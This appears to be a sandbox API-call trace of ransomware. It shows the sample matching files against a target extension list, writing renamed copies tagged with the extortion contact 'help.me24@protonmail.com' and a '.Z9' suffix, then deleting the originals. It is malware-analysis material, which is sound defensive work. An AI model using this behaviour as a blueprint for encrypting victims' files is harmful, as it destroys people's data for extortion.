	[0073.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0073.955] lstrlenW (lpString=".doc") returned 4
	[0073.955] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.955] lstrlenW (lpString=".docx") returned 5
	[0073.955] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1
	[0073.955] lstrlenW (lpString=".pdf") returned 4
	[0073.955] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.955] lstrlenW (lpString=".xls") returned 4
	[0073.956] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.956] lstrlenW (lpString=".xlsx") returned 5
	[0073.956] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1
	[0073.956] lstrlenW (lpString=".ppt") returned 4
	[0073.956] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0073.956] lstrlenW (lpString=".zip") returned 4
	[0073.956] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.956] lstrlenW (lpString=".rar") returned 4
	[0073.956] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.956] lstrlenW (lpString=".bz2") returned 4
	[0073.956] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.956] lstrlenW (lpString=".7z") returned 3
	[0073.956] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0073.956] lstrlenW (lpString=".dbf") returned 4
	[0073.956] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0073.956] lstrlenW (lpString=".1cd") returned 4
	[0073.956] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0073.956] lstrlenW (lpString=".jpg") returned 4
	[0073.956] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0073.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0073.956] lstrlenW (lpString=".doc") returned 4
	[0073.956] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.956] lstrlenW (lpString=".docx") returned 5
	[0073.956] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1
	[0073.956] lstrlenW (lpString=".pdf") returned 4
	[0073.956] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.956] lstrlenW (lpString=".xls") returned 4
	[0073.956] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.956] lstrlenW (lpString=".xlsx") returned 5
	[0073.956] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1
	[0073.956] lstrlenW (lpString=".ppt") returned 4
	[0073.957] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0073.957] lstrlenW (lpString=".zip") returned 4
	[0073.957] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.957] lstrlenW (lpString=".rar") returned 4
	[0073.957] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.957] lstrlenW (lpString=".bz2") returned 4
	[0073.957] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.957] lstrlenW (lpString=".7z") returned 3
	[0073.957] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0073.957] lstrlenW (lpString=".dbf") returned 4
	[0073.957] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0073.957] lstrlenW (lpString=".1cd") returned 4
	[0073.957] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0073.957] lstrlenW (lpString=".jpg") returned 4
	[0073.957] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.957] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0073.957] lstrlenW (lpString="ipsptb.xml") returned 10
	[0073.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.957] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2246) returned 1
	[0073.957] CloseHandle (hObject=0x370) returned 1
	[0073.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml")) returned 0x20
	[0073.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61
	[0073.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61
	[0073.958] lstrlenW (lpString=".doc") returned 4
	[0073.958] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.958] lstrlenW (lpString=".docx") returned 5
	[0073.958] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1
	[0073.958] lstrlenW (lpString=".pdf") returned 4
	[0073.958] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.958] lstrlenW (lpString=".xls") returned 4
	[0073.958] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.958] lstrlenW (lpString=".xlsx") returned 5
	[0073.958] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1
	[0073.958] lstrlenW (lpString=".ppt") returned 4
	[0073.958] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61
	[0073.958] lstrlenW (lpString=".zip") returned 4
	[0073.958] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.958] lstrlenW (lpString=".rar") returned 4
	[0073.958] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.958] lstrlenW (lpString=".bz2") returned 4
	[0073.958] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.958] lstrlenW (lpString=".7z") returned 3
	[0073.958] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61
	[0073.958] lstrlenW (lpString=".dbf") returned 4
	[0073.958] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61
	[0073.958] lstrlenW (lpString=".1cd") returned 4
	[0073.958] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61
	[0073.959] lstrlenW (lpString=".jpg") returned 4
	[0073.959] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61
	[0073.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61
	[0073.959] lstrlenW (lpString=".doc") returned 4
	[0073.959] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.959] lstrlenW (lpString=".docx") returned 5
	[0073.959] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1
	[0073.959] lstrlenW (lpString=".pdf") returned 4
	[0073.959] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.959] lstrlenW (lpString=".xls") returned 4
	[0073.959] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.959] lstrlenW (lpString=".xlsx") returned 5
	[0073.959] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1
	[0073.959] lstrlenW (lpString=".ppt") returned 4
	[0073.959] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61
	[0073.959] lstrlenW (lpString=".zip") returned 4
	[0073.959] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.959] lstrlenW (lpString=".rar") returned 4
	[0073.959] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.959] lstrlenW (lpString=".bz2") returned 4
	[0073.959] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.959] lstrlenW (lpString=".7z") returned 3
	[0073.959] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61
	[0073.959] lstrlenW (lpString=".dbf") returned 4
	[0073.959] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61
	[0073.959] lstrlenW (lpString=".1cd") returned 4
	[0073.959] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0073.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptb.xml") returned 61
	[0073.959] lstrlenW (lpString=".jpg") returned 4
	[0073.959] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0073.960] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0073.960] lstrlenW (lpString="ipsptg.xml") returned 10
	[0073.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0073.960] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2240) returned 1
	[0073.960] CloseHandle (hObject=0x370) returned 1
	[0073.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml")) returned 0x20
	[0073.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0073.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0073.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61
	[0073.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61
	[0073.960] lstrlenW (lpString=".doc") returned 4
	[0073.960] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0073.960] lstrlenW (lpString=".docx") returned 5
	[0073.960] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0073.960] lstrlenW (lpString=".pdf") returned 4
	[0073.960] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0073.960] lstrlenW (lpString=".xls") returned 4
	[0073.960] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0073.960] lstrlenW (lpString=".xlsx") returned 5
	[0073.961] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0073.961] lstrlenW (lpString=".ppt") returned 4
	[0073.961] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0073.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61
	[0073.961] lstrlenW (lpString=".zip") returned 4
	[0073.961] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0073.961] lstrlenW (lpString=".rar") returned 4
	[0073.961] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0073.961] lstrlenW (lpString=".bz2") returned 4
	[0073.961] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0073.961] lstrlenW (lpString=".7z") returned 3
	[0073.961] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0073.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsptg.xml") returned 61
	[0073.961] lstrlenW (lpString=".dbf") returned 4
	[0073.961] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0073.996] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.996] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0073.996] GetLastError () returned 0x0
	[0073.996] ReadFile (in: hFile=0x370, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x285, lpOverlapped=0x0) returned 1
	[0073.997] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x290, lpOverlapped=0x0) returned 1
	[0073.998] ReadFile (in: hFile=0x370, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.998] WriteFile (in: hFile=0x338, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xea, lpOverlapped=0x0) returned 1
	[0073.998] SetEndOfFile (hFile=0x338) returned 1
	[0073.999] CloseHandle (hObject=0x338) returned 1
	[0074.000] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.000] SetEndOfFile (hFile=0x370) returned 1
	[0074.000] CloseHandle (hObject=0x370) returned 1
	[0074.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x26) returned 1
	[0074.001] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1
	[0074.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0074.001] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0074.001] lstrlenW (lpString=".doc") returned 4
	[0074.001] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0074.001] lstrlenW (lpString=".docx") returned 5
	[0074.001] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0074.001] lstrlenW (lpString=".pdf") returned 4
	[0074.001] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0074.001] lstrlenW (lpString=".xls") returned 4
	[0074.001] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0074.001] lstrlenW (lpString=".xlsx") returned 5
	[0074.001] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0074.001] lstrlenW (lpString=".ppt") returned 4
	[0074.001] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0074.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0074.002] lstrlenW (lpString=".zip") returned 4
	[0074.002] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0074.002] lstrlenW (lpString=".rar") returned 4
	[0074.002] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0074.002] lstrlenW (lpString=".bz2") returned 4
	[0074.002] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0074.002] lstrlenW (lpString=".7z") returned 3
	[0074.002] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0074.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0074.002] lstrlenW (lpString=".dbf") returned 4
	[0074.002] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0074.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0074.002] lstrlenW (lpString=".1cd") returned 4
	[0074.002] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0074.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0074.002] lstrlenW (lpString=".jpg") returned 4
	[0074.002] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0074.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0074.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0074.002] lstrlenW (lpString=".doc") returned 4
	[0074.002] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0074.002] lstrlenW (lpString=".docx") returned 5
	[0074.002] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0074.002] lstrlenW (lpString=".pdf") returned 4
	[0074.002] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0074.002] lstrlenW (lpString=".xls") returned 4
	[0074.002] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0074.002] lstrlenW (lpString=".xlsx") returned 5
	[0074.002] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0074.002] lstrlenW (lpString=".ppt") returned 4
	[0074.002] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0074.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0074.002] lstrlenW (lpString=".zip") returned 4
	[0074.002] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0074.003] lstrlenW (lpString=".rar") returned 4
	[0074.003] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0074.003] lstrlenW (lpString=".bz2") returned 4
	[0074.003] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0074.003] lstrlenW (lpString=".7z") returned 3
	[0074.003] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0074.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0074.003] lstrlenW (lpString=".dbf") returned 4
	[0074.003] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0074.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0074.003] lstrlenW (lpString=".1cd") returned 4
	[0074.003] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0074.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0074.003] lstrlenW (lpString=".jpg") returned 4
	[0074.003] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0074.003] lstrcmpiW (lpString1=".htm", lpString2=".Z9") returned -1
	[0074.003] lstrlenW (lpString="Garden.htm") returned 10
	[0074.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0074.004] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=231) returned 1
	[0074.004] CloseHandle (hObject=0x370) returned 1
	[0074.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20
	[0074.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0074.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0074.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0074.005] lstrlenW (lpString=".doc") returned 4
	[0074.005] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0074.005] lstrlenW (lpString=".docx") returned 5
	[0074.005] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0074.005] lstrlenW (lpString=".pdf") returned 4
	[0074.005] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0074.005] lstrlenW (lpString=".xls") returned 4
	[0074.005] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0074.005] lstrlenW (lpString=".xlsx") returned 5
	[0074.005] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0074.005] lstrlenW (lpString=".ppt") returned 4
	[0074.005] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0074.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0074.005] lstrlenW (lpString=".zip") returned 4
	[0074.005] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0074.005] lstrlenW (lpString=".rar") returned 4
	[0074.005] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0074.005] lstrlenW (lpString=".bz2") returned 4
	[0074.005] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0074.005] lstrlenW (lpString=".7z") returned 3
	[0074.005] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0074.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0074.005] lstrlenW (lpString=".dbf") returned 4
	[0074.005] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0074.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0074.006] lstrlenW (lpString=".1cd") returned 4
	[0074.006] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0074.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0074.006] lstrlenW (lpString=".jpg") returned 4
	[0074.006] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0074.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0074.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0074.006] lstrlenW (lpString=".doc") returned 4
	[0074.006] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0074.006] lstrlenW (lpString=".docx") returned 5
	[0074.006] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0074.006] lstrlenW (lpString=".pdf") returned 4
	[0074.006] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0074.006] lstrlenW (lpString=".xls") returned 4
	[0074.006] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0074.006] lstrlenW (lpString=".xlsx") returned 5
	[0074.006] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0074.006] lstrlenW (lpString=".ppt") returned 4
	[0074.006] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0074.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0074.006] lstrlenW (lpString=".zip") returned 4
	[0074.006] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0074.006] lstrlenW (lpString=".rar") returned 4
	[0074.006] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0074.006] lstrlenW (lpString=".bz2") returned 4
	[0074.006] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0074.006] lstrlenW (lpString=".7z") returned 3
	[0074.006] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0074.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0074.006] lstrlenW (lpString=".dbf") returned 4
	[0074.006] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0074.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0074.006] lstrlenW (lpString=".1cd") returned 4
	[0074.006] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0074.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0074.007] lstrlenW (lpString=".jpg") returned 4
	[0074.007] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0074.007] lstrcmpiW (lpString1=".jpg", lpString2=".Z9") returned -1
	[0074.007] lstrlenW (lpString="Garden.jpg") returned 10
	[0074.007] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
